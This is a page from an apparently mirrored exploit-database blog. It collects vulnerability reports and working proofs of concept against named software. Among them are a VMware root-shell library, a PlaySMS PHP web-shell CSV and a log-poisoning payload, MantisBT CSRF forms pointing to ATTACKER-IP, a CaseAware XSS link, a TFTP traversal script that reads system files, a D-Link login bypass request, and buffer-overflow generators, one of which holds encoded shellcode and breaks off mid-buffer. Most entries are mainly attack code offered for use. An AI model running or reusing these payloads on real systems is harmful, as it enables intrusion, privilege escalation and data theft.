Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863170654

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1170

Via NSUnarchiver we can read NSBuiltinCharacterSet with a controlled serialized state.
It reads a controlled int using decodeValueOfObjCType:"i" then either passes it to
CFCharacterSetGetPredefined or uses it directly to manipulate __NSBuiltinSetTable.
Neither path has any bounds checking and the index is used to maniupulate c arrays of pointers.

Attached python script will generate a serialized NSBuiltinCharacterSet with a value of 42
for the character set identifier.

tested on MacOS 10.12.3 (16D32)


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42050.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1168

The dump today has this list of iOS stuff:
https://wikileaks.org/ciav7p1/cms/page_13205587.html

Reading through this sounded interesting:

"""
Buffer Overflow caused by deserialization parsing error in Foundation library 

Sending a crafted NSArchiver object to any process that calls NSArchive unarchive method will result in
a buffer overflow, allowing for ROP.
"""

So I've spent all day going through initWithCoder: implementations looking for heap corruption :)

The unarchiving of NSCharacterSet will call NSCharacterSetCFCharacterSetCreateWithBitmapRepresentation

If we pass a large bitmap we can get to the following call multiple times:

    while (length > 1) {
      annexSet = (CFMutableCharacterSetRef)__CFCSetGetAnnexPlaneCharacterSet(cset, *(bytes++));

Here's that function (from the quite old CF code, but the disassm still matches)

CF_INLINE CFCharacterSetRef __CFCSetGetAnnexPlaneCharacterSet(CFCharacterSetRef cset, int plane) {
    __CFCSetAllocateAnnexForPlane(cset, plane);
    if (!__CFCSetAnnexBitmapGetPlane(cset->_annex->_validEntriesBitmap, plane)) {
        cset->_annex->_nonBMPPlanes[plane - 1] = (CFCharacterSetRef)CFCharacterSetCreateMutable(CFGetAllocator(cset));
        __CFCSetAnnexBitmapSetPlane(cset->_annex->_validEntriesBitmap, plane);
    }
    return cset->_annex->_nonBMPPlanes[plane - 1];
}

note the interesting [plane - 1], however if we just call this with plane = 0 first
 __CFCSetAllocateAnnexForPlane will set the _nonBMPPlanes to NULL rather than allocating it

but if we supply a large enough bitmap such that we can call __CFCSetGetAnnexPlaneCharacterSet twice,
passing 1 the first time and 0 the second time then we can reach:

  cset->_annex->_nonBMPPlanes[plane - 1] = (CFCharacterSetRef)CFCharacterSetCreateMutable(CFGetAllocator(cset));

with plane = 0 leading to writing a pointer to semi-controlled data one qword below the heap allocation _nonBMPPlanes.

This PoC is just a crasher but it looks pretty exploitable.

The wikileaks dump implies that this kind of bug can be exploited both via IPC and as a persistence mechanism where apps
serialize objects to disk. If I come up with a better PoC for one of those avenues I'll attach it later.

(note that the actual PoC object is in the other file (longer_patched.bin)

tested on MacOS 10.12.3 (16D32)

################################################################################

A few notes on the relevance of these bugs:

NSXPC uses the "secure" version of NSKeyedArchiver where the expected types have to be declared upfront by a message receiver. This restricts the NSXPC attack surface for these issues to either places where overly broad base classes are accepted (like NSObject) or to just those services which accept classes with vulnerable deserializers.

There are also other services which use NSKeyedArchives in the "insecure" mode (where the receiver doesn't supply a class whitelist.) Some regular (not NSXPC) xpc services use these. In those cases you could use these bugs to escape sandboxes/escalate privileges.

Lots of apps serialize application state to NSKeyedArchives and don't use secure coding providing an avenue for memory-corruption based persistence on iOS.

Futhermore there seem to be a bunch of serialized archives on the iPhone which you can touch via the services exposed by lockdownd (over the USB cable) providing an avenue for "local" exploitation (jumping from a user's desktop/laptop to the phone.) The host computer would need to have a valid pairing record to do this without prompts.

For example the following files are inside the AFC jail:

egrep -Rn NSKeyedArchiver *
Binary file Downloads/downloads.28.sqlitedb matches
Binary file Downloads/downloads.28.sqlitedb-wal matches
Binary file PhotoData/AlbumsMetadata/0F31509F-271A-45BA-9E1F-C6F7BC4A537F.foldermetadata matches
Binary file PhotoData/FacesMetadata/NVP_HIDDENFACES.hiddenfacemetadata matches

00006890 | 24 76 65 72 73 69 6F 6E 58 24 6F 62 6A 65 63 74 | $versionX$object
000068A0 | 73 59 24 61 72 63 68 69 76 65 72 54 24 74 6F 70 | sY$archiverT$top


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42049.zip
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1251

When the eBPF verifier (kernel/bpf/verifier.c) runs in verbose mode,
it dumps all processed instructions to a user-accessible buffer in
human-readable form using print_bpf_insn(). For instructions with
class BPF_LD and mode BPF_IMM, it prints the raw 32-bit value:

  } else if (class == BPF_LD) {
    if (BPF_MODE(insn->code) == BPF_ABS) {
      [...]
    } else if (BPF_MODE(insn->code) == BPF_IND) {
      [...]
    } else if (BPF_MODE(insn->code) == BPF_IMM) {
      verbose("(%02x) r%d = 0x%x\n",
              insn->code, insn->dst_reg, insn->imm);
    } else {
      [...]
    }
  } else if (class == BPF_JMP) {

This is done in do_check(), after replace_map_fd_with_map_ptr() has
executed. replace_map_fd_with_map_ptr() stores the lower half of a raw
pointer in all instructions with class BPF_LD, mode BPF_IMM and size
BPF_DW (map references).

So when verbose verification is performed on a program with a map
reference, the lower half of the pointer to the map becomes visible to
the user:

$ cat bpf_pointer_leak_poc.c
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/bpf.h>
#include <err.h>
#include <stdio.h>
#include <stdint.h>

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)         \
  ((struct bpf_insn) {                          \
    .code  = BPF_LD | BPF_DW | BPF_IMM,         \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = (__u32) (IMM) }),                  \
  ((struct bpf_insn) {                          \
    .code  = 0, /* zero is reserved opcode */   \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = ((__u64) (IMM)) >> 32 })
#define BPF_LD_MAP_FD(DST, MAP_FD)              \
  BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_MOV64_IMM(DST, IMM)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_MOV | BPF_K,       \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })
#define BPF_EXIT_INSN()                         \
  ((struct bpf_insn) {                          \
    .code  = BPF_JMP | BPF_EXIT,                \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = 0 })

#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))

int bpf_(int cmd, union bpf_attr *attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int main(void) {
  union bpf_attr create_map_attrs = {
    .map_type = BPF_MAP_TYPE_ARRAY,
    .key_size = 4,
    .value_size = 1,
    .max_entries = 1
  };
  int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
  if (mapfd == -1)
    err(1, "map create");

  struct bpf_insn insns[] = {
    BPF_LD_MAP_FD(BPF_REG_0, mapfd),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN()
  };
  char verifier_log[10000];
  union bpf_attr create_prog_attrs = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = ARRSIZE(insns),
    .insns = (uint64_t)insns,
    .license = (uint64_t)"",
    .log_level = 1,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };
  int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
  if (progfd == -1)
    err(1, "prog load");

  puts(verifier_log);
}

/*
$ gcc -o bpf_pointer_leak_poc bpf_pointer_leak_poc.c -Wall -std=gnu99 -I~/linux/usr/include
$ ./bpf_pointer_leak_poc 
0: (18) r0 = 0xd9da1c80
2: (b7) r0 = 0
3: (95) exit
processed 3 insns

Tested with kernel 4.11.
*/
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1164

This is an issue that allows unentitled root to read kernel frame
pointers, which might be useful in combination with a kernel memory
corruption bug.

By design, the syscall stack_snapshot_with_config() permits unentitled
root to dump information about all user stacks and kernel stacks.
While a target thread, along with the rest of the system, is frozen,
machine_trace_thread64() dumps its kernel stack.
machine_trace_thread64() walks up the kernel stack using the chain of
saved RBPs. It dumps the unslid kernel text pointers together with
unobfuscated frame pointers.

The attached PoC dumps a stackshot into the file stackshot_data.bin
when executed as root. The stackshot contains data like this:

00000a70  de 14 40 00 80 ff ff ff  a0 be 08 77 80 ff ff ff  |..@........w....|
00000a80  7b b8 30 00 80 ff ff ff  20 bf 08 77 80 ff ff ff  |{.0..... ..w....|
00000a90  9e a6 30 00 80 ff ff ff  60 bf 08 77 80 ff ff ff  |..0.....`..w....|
00000aa0  5d ac 33 00 80 ff ff ff  b0 bf 08 77 80 ff ff ff  |].3........w....|

The addresses on the left are unslid kernel text pointers; the
addresses on the right are valid kernel stack pointers.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42047.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1149

The XNU kernel, when compiled for a x86-64 CPU, can run 32-bit x86
binaries in compatibility mode. 32-bit binaries use partly separate
syscall entry and exit paths.

To return to userspace, unix_syscall() in bsd/dev/i386/systemcalls.c
calls thread_exception_return() (in osfmk/x86_64/locore.s), which in
turn calls return_from_trap, which is implemented in
osfmk/x86_64/idt64.s.

return_from_trap() normally branches into return_to_user relatively
quickly, which then, depending on the stack segment selector, branches
into either L_64bit_return or L_32bit_return. While the L_64bit_return
path restores all userspace registers, the L_32bit_return path only
restores the registers that are accessible in compatibility mode; the
registers r8 to r15 are not restored.

This is bad because, although switching to compatibility mode makes it
impossible to directly access r8..r15, the register contents are
preserved, and switching back to 64-bit mode makes the 64-bit
registers accessible again. Since the GDT always contains user code
segments for both compatibility mode and 64-bit mode, an unprivileged
32-bit process can leak kernel register contents as follows:

 - make a normal 32-bit syscall
 - switch to 64-bit mode (e.g. by loading the 64-bit user code segment
   using iret)
 - store the contents of r8..r15
 - switch back to compatibility mode (e.g. by loading the 32-bit user
   code segment using iret)

The attached PoC demonstrates the issue by dumping the contents of
r8..r15. Usage:

$ ./leakregs 
r8 = 0xffffff801d3872a8
r9 = 0xffffff8112abbec8
r10 = 0xffffff801f962240
r11 = 0xffffff8031d52bb0
r12 = 0x12
r13 = 0xffffff80094018f0
r14 = 0xffffff801cb59ea0
r15 = 0xffffff801cb59ea0

It seems like these are various types of kernel pointers, including
kernel text pointers.

If you want to compile the PoC yourself, you'll have to adjust the
path to nasm in compile.sh, then run ./compile.sh.

This bug was verified using the following kernel version:
15.6.0 Darwin Kernel Version 15.6.0: Mon Jan  9 23:07:29 PST 2017;
root:xnu-3248.60.11.2.1~1/RELEASE_X86_64 x86_64

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42046.zip
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142

This vulnerability permits an unprivileged user on a Linux machine on
which VMWare Workstation is installed to gain root privileges.

The issue is that, for VMs with audio, the privileged VM host
process loads libasound, which parses ALSA configuration files,
including one at ~/.asoundrc. libasound is not designed to run in a
setuid context and deliberately permits loading arbitrary shared
libraries via dlopen().

To reproduce, run the following commands on a normal Ubuntu desktop
machine with VMWare Workstation installed:


~$ cd /tmp
/tmp$ cat > evil_vmware_lib.c
*/

#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <err.h>

extern char *program_invocation_short_name;

__attribute__((constructor)) void run(void) {
	if (strcmp(program_invocation_short_name, "vmware-vmx"))
		return;

	uid_t ruid, euid, suid;
	if (getresuid(&ruid, &euid, &suid))
		err(1, "getresuid");
	printf("current UIDs: %d %d %d\n", ruid, euid, suid);
	if (ruid == 0 || euid == 0 || suid == 0) {
		if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
			err(1, "setresxid");
		printf("switched to root UID and GID");
		system("/bin/bash");
		_exit(0);
	}
}

/*
/tmp$ gcc -shared -o evil_vmware_lib.so evil_vmware_lib.c -fPIC -Wall -ldl -std=gnu99
/tmp$ cat > ~/.asoundrc
hook_func.pulse_load_if_running {
        lib "/tmp/evil_vmware_lib.so"
        func "conf_pulse_hook_load_if_running"
}
/tmp$ vmware


Next, in the VMWare Workstation UI, open a VM with a virtual sound
card and start it. Now, in the terminal, a root shell will appear:


/tmp$ vmware
current UIDs: 1000 1000 0
bash: cannot set terminal process group (13205): Inappropriate ioctl for device
bash: no job control in this shell
~/vmware/Debian 8.x 64-bit# id
uid=0(root) gid=0(root) groups=0(root),[...]
~/vmware/Debian 8.x 64-bit# 


I believe that the ideal way to fix this would be to run all code that
doesn't require elevated privileges - like the code for sound card
emulation - in an unprivileged process. However, for now, moving only
the audio output handling into an unprivileged process might also do
the job; I haven't yet checked whether there are more libraries VMWare
Workstation loads that permit loading arbitrary libraries into the
vmware-vmx process.

Tested with version: 12.5.2 build-4638234, running on Ubuntu 14.04.
*/
            
# Exploit Title: PlaySMS 1.4 Remote Code Execution using Phonebook import Function in import.php
# Date: 21-05-2017
# Software Link: https://playsms.org/download/
# Version: 1.4
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps
  
1. Description
 
Code Execution using import.php

     We know import.php accept file and just read content 
    not stored in server. But when we stored payload in our backdoor.csv 
    and upload to phonebook. Its execute our payload and show on next page in field (in NAME,MOBILE,Email,Group COde,Tags) accordingly .

    In My case i stored my vulnerable code  in my backdoor.csv files's Name field .

    But There is one problem in execution. Its only execute in built function and variable which is used in application. 

    That why the server not execute our payload directly. Now i Use "<?php $a=$_SERVER['HTTP_USER_AGENT']; system($a); ?>" in name field and change our user agent to any command which u want to execute command. Bcz it not execute <?php system("id")?> directly .

Example of my backdoor.csv file content
----------------------MY FILE CONTENT------------------------------------
Name												Mobile	Email	Group code	Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>	22			

--------------------MY FILE CONTENT END HERE-------------------------------


 
 For More Details : www.touhidshaikh.com/blog/

 For Video Demo : https://www.youtube.com/watch?v=KIB9sKQdEwE

    
2. Proof of Concept
  
Login as regular user (created user using index.php?app=main&inc=core_auth&route=register):
 
Go to :
http://127.0.0.1/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list


And Upload my malicious File.(backdoor.csv)
and change our User agent.

 
 This is Form For Upload Phonebook.
----------------------Form for upload CSV file ----------------------
<form action=\"index.php?app=main&inc=feature_phonebook&route=import&op=import\" enctype=\"multipart/form-data\" method=POST>
" . _CSRF_FORM_ . "
<p>" . _('Please select CSV file for phonebook entries') . "</p>
<p><input type=\"file\" name=\"fnpb\"></p>
<p class=text-info>" . _('CSV file format') . " : " . _('Name') . ", " . _('Mobile') . ", " . _('Email') . ", " . _('Group code') . ", " . _('Tags') . "</p>
<p><input type=\"submit\" value=\"" . _('Import') . "\" class=\"button\"></p>
</form>
------------------------------Form ends ---------------------------
 

 
-------------Read Content and Display Content-----------------------
 
   case "import":
		$fnpb = $_FILES['fnpb'];
		$fnpb_tmpname = $_FILES['fnpb']['tmp_name'];
		$content = "
			<h2>" . _('Phonebook') . "</h2>
			<h3>" . _('Import confirmation') . "</h3>
			<div class=table-responsive>
			<table class=playsms-table-list>
			<thead><tr>
				<th width=\"5%\">*</th>
				<th width=\"20%\">" . _('Name') . "</th>
				<th width=\"20%\">" . _('Mobile') . "</th>
				<th width=\"25%\">" . _('Email') . "</th>
				<th width=\"15%\">" . _('Group code') . "</th>
				<th width=\"15%\">" . _('Tags') . "</th>
			</tr></thead><tbody>";
		if (file_exists($fnpb_tmpname)) {
			$session_import = 'phonebook_' . _PID_;
			unset($_SESSION['tmp'][$session_import]);
			ini_set('auto_detect_line_endings', TRUE);
			if (($fp = fopen($fnpb_tmpname, "r")) !== FALSE) {
				$i = 0;
				while ($c_contact = fgetcsv($fp, 1000, ',', '"', '\\')) {
					if ($i > $phonebook_row_limit) {
						break;
					}
					if ($i > 0) {
						$contacts[$i] = $c_contact;
					}
					$i++;
				}
				$i = 0;
				foreach ($contacts as $contact) {
					$c_gid = phonebook_groupcode2id($uid, $contact[3]);
					if (!$c_gid) {
						$contact[3] = '';
					}
					$contact[1] = sendsms_getvalidnumber($contact[1]);
					$contact[4] = phonebook_tags_clean($contact[4]);
					if ($contact[0] && $contact[1]) {
						$i++;
						$content .= "
							<tr>
							<td>$i.</td>
							<td>$contact[0]</td>
							<td>$contact[1]</td>
							<td>$contact[2]</td>
							<td>$contact[3]</td>
							<td>$contact[4]</td>
							</tr>";
						$k = $i - 1;
						$_SESSION['tmp'][$session_import][$k] = $contact;
					}
				}
 
------------------------------code ends ---------------------------
 

Bingoo.....

 
*------------------My Friends---------------------------*
|Pratik K.Tejani, Rehman, Taushif,Charles Babbage  |
*---------------------------------------------------*
            
[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-CSRF-PERMALINK-INJECTION.txt
[+] ISR: ApparitionSec            
 


Vendor:
================
www.mantisbt.org



Product:
=========
Mantis Bug Tracker
1.3.10 / v2.3.0


MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.



Vulnerability Type:
========================
CSRF Permalink Injection



CVE Reference:
==============
CVE-2017-7620



Security Issue:
================
Remote attackers can inject arbitrary permalinks into the mantisbt Web Interface if an authenticated user visits a malicious webpage.

Vuln code in "string_api.php" PHP file, under mantis/core/ did not account for supplied backslashes.
Line: 270

# Check for URL's pointing to other domains

if( 0 == $t_type || empty( $t_matches['script'] ) ||
	
    3 == $t_type && preg_match( '@(?:[^:]*)?:/*@', $t_url ) > 0 ) {

	

    return ( $p_return_absolute ? $t_path . '/' : '' ) . 'index.php';

}



# Start extracting regex matches

$t_script = $t_matches['script'];       
$t_script_path = $t_matches['path'];




Exploit/POC:
=============
<form action="http://VICTIM-IP/mantisbt-2.3.0/permalink_page.php?url=\/ATTACKER-IP" method="POST">
<script>document.forms[0].submit()</script>
</form>

OR

<form action="http://VICTIM-IP/permalink_page.php?url=\/ATTACKER-IP%2Fmantisbt-2.3.0%2Fsearch.php%3Fproject_id%3D1%26sticky%3Don%26sort%3Dlast_updated%26dir%3DDESC%26hide_status%3D90%26match_type%3D0" method="POST">
<script>document.forms[0].submit()</script>
</form>



Network Access:
===============
Remote




Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification: April 9, 2017
Vendor Release Fix: May 15, 2017
Vendor Disclosed: May 20, 2017
May 20, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
            
# Exploit Title: CaseAware Cross Site Scripting Vulnerability
# Date: 20th May 2017
# Exploit Author: justpentest
# Vendor Homepage: https://caseaware.com/
# Version: All the versions
# Contact: transform2secure@gmail.com
# CVE : 2017-5631

Source: https://nvd.nist.gov/vuln/detail/CVE-2017-5631#vulnDescriptionTitle

1) Description:
An issue with respect to input sanitization was discovered in KMCIS
CaseAware. Reflected cross site scripting is present in the user parameter
(i.e., "usr") that is transmitted in the login.php query string. So
bascially username parameter is vulnerable to XSS.

2) Exploit:

https://caseaware.abc.com:4322/login.php?mid=0&usr=admin'><a
HREF="javascript:alert('OPENBUGBOUNTY')">Click_ME<'
----------------------------------------------------------------------------------------

3) References:

https://www.openbugbounty.org/incidents/228262/
https://nvd.nist.gov/vuln/detail/CVE-2017-5631#vulnDescriptionTitle
            
[+] Credits: John Page aka HYP3RLINX	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/SECURE-AUDITOR-v3.0-DIRECTORY-TRAVERSAL.txt
[+] ISR: ApparitionSec            
 


Vendor:
====================
www.secure-bytes.com



Product:
=====================
Secure Auditor - v3.0

Secure Auditor suite is a unified digital risk management solution for conducting automated audits on Windows, Oracle and SQL databases
and Cisco devices.



Vulnerability Type:
===================
Directory Traversal



CVE Reference:
==============
CVE-2017-9024



Security Issue:
================
Secure Bytes Cisco Configuration Manager, as bundled in Secure Bytes Secure Cisco Auditor (SCA) 3.0, has a
Directory Traversal issue in its TFTP Server, allowing attackers to read arbitrary files via ../ sequences in a pathname.




Exploit/POC:
=============
import sys,socket

print 'Secure Auditor v3.0 / Cisco Config Manager'
print 'TFTP Directory Traversal Exploit'
print 'Read ../../../../Windows/system.ini POC'
print 'hyp3rlinx'

HOST = raw_input("[IP]> ")
FILE = '../../../../Windows/system.ini' 
PORT = 69                                        
 
PAYLOAD = "\x00\x01"                #TFTP Read 
PAYLOAD += FILE+"\x00"              #Read system.ini using directory traversal
PAYLOAD += "netascii\x00"           #TFTP Type
 
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(PAYLOAD, (HOST, PORT))
out = s.recv(1024)
s.close()

print "Victim Data located on : %s " %(HOST)
print out.strip()



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
==================================
Vendor Notification: May 10, 2017
No replies
May 20, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
            
# Exploit Title: Sure Thing Disc Labeler - Stack Buffer Overflow (PoC)
# Date: 5-19-17
# Exploit Author: Chance Johnson  (albatross@loftwing.net)
# Vendor Homepage: http://www.surething.com/
# Software Link: http://www.surething.com/disclabeler
# Version: 6.2.138.0
# Tested on: Windows 7 x64 / Windows 10
#
# Usage: 
#    Open the project template generated by this script.
#    If a readable address is placed in AVread, no exception will be thrown
#    and a return pointer will be overwritten giving control over EIP when
#    the function returns.

header  = '\x4D\x56\x00\xFF\x0C\x00\x12\x00\x32\x41\x61\x33\x08\x00\x5E\x00'
header += '\x61\x35\x41\x61\x36\x41\x61\x37\x41\x61\x38\x41\x61\x39\x41\x62'
header += '\x30\x41\x62\x31\x41\x62\x32\x41\x62\x33\x41\x62\x34\x41\x62\x35'
header += '\x41\x62\x36\x41\x78\x37\x41\x62\x38\x41\x62\x39\x41\x63\x30\x41'
header += '\x0C\x00\x41\x63\x78\x1F\x00\x00\x41\x63\x34\x41\x63\x35\x41\x63'

junk1  =   'D'*10968
EIP    =   'A'*4            # Direct RET overwrite
junk2  =   'D'*24
AVread =   'B'*4  			# address of any readable memory
junk3  =   'D'*105693

buf = header + junk1 + EIP + junk2 + AVread + junk3

print "[+] Creating file with %d bytes..." % len(buf)

f=open("exp.std",'wb')
f.write(buf)
f.close()
            
# Exploit Title: D-Link DIR-600M Wireless N 150 Login Page Bypass
# Date: 19-05-2017
# Software Link: http://www.dlink.co.in/products/?pid=DIR-600M
# Exploit Author: Touhid M.Shaikh
# Vendor : www.dlink.com
# Contact : http://twitter.com/touhidshaikh22
# Version: Hardware version: C1
Firmware version: 3.04
# Tested on:All Platforms


1) Description

After Successfully Connected to D-Link DIR-600M Wireless N 150
Router(FirmWare Version : 3.04), Any User Can Easily Bypass The Router's
Admin Panel Just by Feeding Blank Spaces in the password Field.

Its More Dangerous when your Router has a public IP with remote login
enabled.

For More Details : www.touhidshaikh.com/blog/

IN MY CASE,
Router IP : http://192.168.100.1



Video POC : https://www.youtube.com/watch?v=waIJKWCpyNQring

2) Proof of Concept

Step 1: Go to
Router Login Page : http://192.168.100.1/login.htm

Step 2:
Fill username: admin
And in Password Fill more than 20 tims Spaces(" ")



Our Request Is look like below.
-----------------ATTACKER REQUEST-----------------------------------

POST /login.cgi HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/login.htm
Cookie: SessionID=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

username=Admin&password=+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&submit.htm%3Flogin.htm=Send


--------------------END here------------------------

Bingooo You got admin Access on router.
Now you can download/upload settiing, Change setting etc.




-------------------Greetz----------------
TheTouron(www.thetouron.in), Ronit Yadav
-----------------------------------------
            
 Exploit Title: PlaySMS 1.4 Remote Code Execution (to Poisoning admin log)
# Date: 19-05-2017
# Software Link: https://playsms.org/download/
# Version: 1.4
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps
 
1. Description
   

Remote Code Execution in Admin Log. 
In PlaySMS Admin have a panel where he/she monitor User status. Admin Can see Whose Online.
Using this functionality we can exploit RCE in Whose Online page.

When Any user Logged in the playSMS application. Some user details log on Whose Online panel like "Username", "User-Agent", "Current IP", etc. (You Can See Templeate Example Below)    

For More Details : www.touhidshaikh.com/blog/

   
2. Proof of Concept
 
1) Login as regular user (created using index.php?app=main&inc=core_auth&route=register):

2) Just Change you User-agent String to "<?php phpinfo();?>" or whatever your php payload.(Make sure to change User Agent after log in)

3) Just surf on playsms. And wait for admin activity, When admin Checks Whose Online status ...(bingooo Your payload successfully exploited )



setting parameter in online.php
*------------------online.php-----------------*

$users = report_whoseonline_subuser();
foreach ($users as $user) {
foreach ($user as $hash) {
$tpl['loops']['data'][] = array(
'tr_class' => $tr_class,
'c_username' => $hash['username'],
'c_isadmin' => $hash['icon_isadmin'],
'last_update' => $hash['last_update'],
'current_ip' => $hash['ip'],
'user_agent' => $hash['http_user_agent'],
'login_status' => $hash['login_status'],
'action' => $hash['action_link'],
);
}
}
*-------------ends here online.php-----------------*




Visible on this page: report_online.html
*------------report_online.html-----------*
<loop.data>
<tr class={{ data.tr_class }}>
<td>{{ data.c_username }} {{ data.c_isadmin }}</td>
<td>{{ data.login_status }} {{ data.last_update }}</td>
<td>{{ data.current_ip }}</td>
<td>{{ data.user_agent }}</td>
<td>{{ data.action }}</td>
</tr>
</loop.data>
*------------Ends here report_online.html-----------*


 
 


*------------------Greetz----------------- -----*
|Pratik K.Tejani, Rehman, Taushif  |
*---------------------------------------------------*

  _____           _     _     _ 
 |_   _|__  _   _| |__ (_) __| |
   | |/ _ \| | | | '_ \| |/ _` |
   | | (_) | |_| | | | | | (_| |
   |_|\___/ \__,_|_| |_|_|\__,_|
                                
Touhid SHaikh
An Independent Security Researcher.
            
#!/usr/bin/python
 
print "LabF nfsAxe 3.7 FTP Client Buffer Overflow (SEH)"
print "Author: Tulpa / tulpa[at]tulpa-security[dot]com"
 
#Author website: www.tulpa-security.com
#Author twitter: @tulpa_security
 
#Tested on Windows Vista x86

import socket
import sys

#badchars \x00\x10\x0a

buf =  ""
buf += "\xbb\x7e\xbc\x7c\x19\xda\xc2\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x59\x83\xe8\xfc\x31\x58\x0e\x03\x26\xb2\x9e"
buf += "\xec\x3e\xf2\x5e\x0f\xbe\x40\x12\x4b\xbe\xa1\xd5\x95"
buf += "\xc7\xc8\x6f\x9c\x7e\xb7\xdd\x8e\x69\x13\x07\xbf\xae"
buf += "\x85\x31\xca\x9d\xfd\xaf\xc8\xe6\x8f\x7e\x3f\xf4\xee"
buf += "\xa6\xdd\x77\xa2\x8e\x27\xb9\xce\xce\x9b\x53\x78\x7c"
buf += "\xee\x04\xb5\xb0\x20\xfe\xf5\xf8\x3c\xff\x5e\x55\xb4"
buf += "\x1a\xe9\x08\xc6\x8e\xda\xeb\xa2\xc5\x1a\x87\x6b\xd5"
buf += "\x97\xe7\x77\x48\x2c\x5f\x80\x79\x3f\xed\xc7\x51\x11"
buf += "\xbf\x18\x79\x18\xfc\xbe\x92\x0b\x69\x49\x3a\x2d\x83"
buf += "\x23\xc8\x74\xd0\xc9\xcc\x06\x1f\x37\xb8\xe2\xb1\x6b"
buf += "\xbf\xdf\xbe\x64\xb3\x20\xc1\x74\x92\xa9\xc5\xfa\xc6"
buf += "\x41\xf4\xfd\x60\x17\x1b\x91\x6d\x43\x8c\x93\x6c\x6b"
buf += "\x4c\x6b\x3b\x4b\x1b\xc4\x94\xdc\xe4\xbd\x5d\xb4\x15"
buf += "\x14\x7d\xb3\x29\xa6\x82\x94\xfa\xa1\x7e\x1b\x27\x23"
buf += "\xf7\xfd\x4d\x53\x51\x51\x6d\x06\x45\x02\xc2\x56\x20"
buf += "\xb8\xb3\xfe\x99\x3f\x6e\xef\x94\x02\xf7\x8c\x4a\xd6"
buf += "\x75\xae\xb6\xe6\x45\xa5\xa3\x51\xb5\x91\x42\xb6\xff"
buf += "\xa2\x70\x29\x44\xd5\x3c\x6d\x79\xa0\xc0\x49\xc9\x3b"
buf += "\x44\xb6\x85\xb2\xc8\x92\x45\x48\x74\xff\x75\x06\x24"
